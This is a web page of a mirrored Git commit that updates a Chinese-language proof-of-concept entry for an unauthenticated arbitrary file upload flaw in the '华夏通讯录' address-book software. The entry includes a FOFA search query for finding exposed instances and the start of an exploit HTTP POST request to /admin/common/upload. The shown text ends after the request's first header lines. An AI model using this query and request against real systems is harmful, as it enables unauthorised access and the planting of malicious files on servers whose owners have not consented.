admin/POC
1
0
Fork 0
mirror of https://github.com/eeeeeeeeee-code/POC.git synced 2025-05-05 10:17:57 +00:00
Code Issues Packages Projects Releases Wiki Activity

Update 华夏通讯录存在前台upload任意文件上传

Browse Source
This commit is contained in:
Nexolanta 2025-03-06 16:33:27 +08:00 committed by GitHub
parent bcbda5b611
commit 6540b1bbb4
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 3 additions and 3 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

6
wpoc/华夏通讯录/华夏通讯录存在前台upload任意文件上传
View File

@ -1,13 +1,13 @@
## 华夏通讯录存在前台upload任意文件上传
华夏通讯录存在前台upload任意文件上传
华夏通讯录存在前台由于在鉴权方面存在疏漏，导致了可未授权访问，从而通过/admin/common/upload接口进行任意文件上传。
## fofa
fofa
```
icon_hash="1403225079" && ":) APPV1"
```
## poc
poc
```
POST /admin/common/upload HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7